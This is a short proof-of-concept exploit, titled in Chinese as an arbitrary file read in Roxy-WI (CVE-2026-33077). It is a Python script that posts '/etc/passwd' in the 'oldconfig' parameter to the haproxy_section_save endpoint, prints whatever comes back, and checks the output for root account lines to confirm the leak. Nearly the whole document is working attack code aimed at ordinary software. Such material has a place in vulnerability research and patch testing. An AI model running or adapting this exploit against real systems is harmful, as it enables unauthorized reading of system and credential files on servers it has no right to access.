CVE-2026-33077 Roxy-WI 任意文件读取漏洞

import requests # Target URL (Replace with actual vulnerable instance) target_url = "http://localhost:9999/haproxy_section_save" # Vulnerable parameter 'oldconfig' used for path traversal # Exploiting to read /etc/passwd payload_data = { "oldconfig": "/etc/passwd", # Other parameters might be required depending on the form structure "save": "Save" } try: # Sending POST request to exploit the vulnerability response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check if common file indicators are present if "root:x:0:0:" in response.text: print("[!] Vulnerability confirmed: /etc/passwd content leaked.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")